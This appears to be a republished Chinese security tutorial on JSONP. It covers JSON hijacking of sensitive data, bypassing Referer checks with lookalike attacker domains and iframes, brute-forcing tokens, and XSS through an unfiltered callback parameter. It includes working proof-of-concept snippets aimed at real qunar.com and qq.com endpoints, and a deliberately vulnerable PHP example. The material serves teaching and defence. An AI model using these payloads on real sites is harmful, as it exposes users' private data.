内容简介:JSON with Paddig,JSONP基本语法如下:JSONP是基于JSON格式为解觉跨域问题而产生的解觉方案。说起来也很难简单a.com b.com 假设a.com要访问b.com的json数据
JSON with Paddig,JSONP基本语法如下:
callback({ "name": "kwan" , "msg": "获取成功" });
JSONP是基于JSON格式为解觉跨域问题而产生的解觉方案。
jsonp 跨域
说起来也很难简单a.com b.com 假设a.com要访问b.com的json数据
{"id" : "1","name" : "phyb0x"}
b.com上要有一个callback输出点
<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "phyb0x"});';
?>
然后a.com进行调用
<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
<script type="text/javascript">
$.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
alert(getUsers.name);
});
</script>
会根据callback定义的函数功能返回json数据。
说起来真的晦涩难懂,实际上这个流程就是b.com上本身就有一个jsonp格式传输的点,a.com利用callback传参的函数(可以是内置写好的函数也可以是a.com自定义的(用?表示,同上述例子))去返回相应的数据。
一开始我以为跨域是漏洞的点,但是看了乌云案例发现跨域是jsonp的基本功能,漏洞点在于jsonp传输了一些敏感数据,而我们可以通过csrf+jsonp跨域获到这些敏感数据。
JSONP安全问题
json劫持
当某网站使用JSONP传递敏感数据的时候,攻击者可以构造恶意JSONP调用界面,诱导被攻击者访问。
引用wooyun-2013-019969
http://tinfo.qunar.com/ticket/passenger/passenger_info.jsp?&type=passenger&callback=qunarcallback
构造构造poc跨域获取敏感信息
<script>
function qunarcallback(json){
alert(JSON.stringify(json))
}
</script>
<script src="http://tinfo.qunar.com/ticket/passenger/passenger_info.jsp?&type=passenger&callback=qunarcallback"></script>
有时也会对referer进行限制,可以尝试
http://www.qq.com.attack.com/attack.htm http://www.attack.com/attack.htm?qq.com
或者利用 <iframe> 调用 javscript 伪协议来实现空 Referer 调用 JSON 文件
<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>
还有一种是增加token防御,不过也可以尝试暴力破解
function _Callback(o){
alert(o.items[0].uin);
}
for(i=17008;i<17009;i++){ //暴力循环调用
getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="+i);
}
Callback函数可定义
<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "phyb0x"});';
?>
$callback没有进行任何过滤
Content-Type与XSS
Content-Type: application/json 传入
http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>
构成xss,而application / javascript 而这个头在 IE 等浏览器下一样可以解析 HTML 导致 XSS 漏洞。
防御绕过姿势
严格定义 Content-Type: application / json,这种方式会不解析恶意插入的 XSS 代码(直接访问提示文件下载),在 IE6、7 等版本时请求的 URL 文件后面加一个 /x.html 就可以解析 html。
过滤 callback 以及 JSON 数据输出,常规防御手段,也粗在绕过可能。
参考链接:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Designing for Emotion
Aarron Walter / Happy Cog / 2011-10-18 / USD 18.00
Make your users fall in love with your site via the precepts packed into this brief, charming book by MailChimp user experience design lead Aarron Walter. From classic psychology to case studies, high......一起来看看 《Designing for Emotion》 这本书的介绍吧!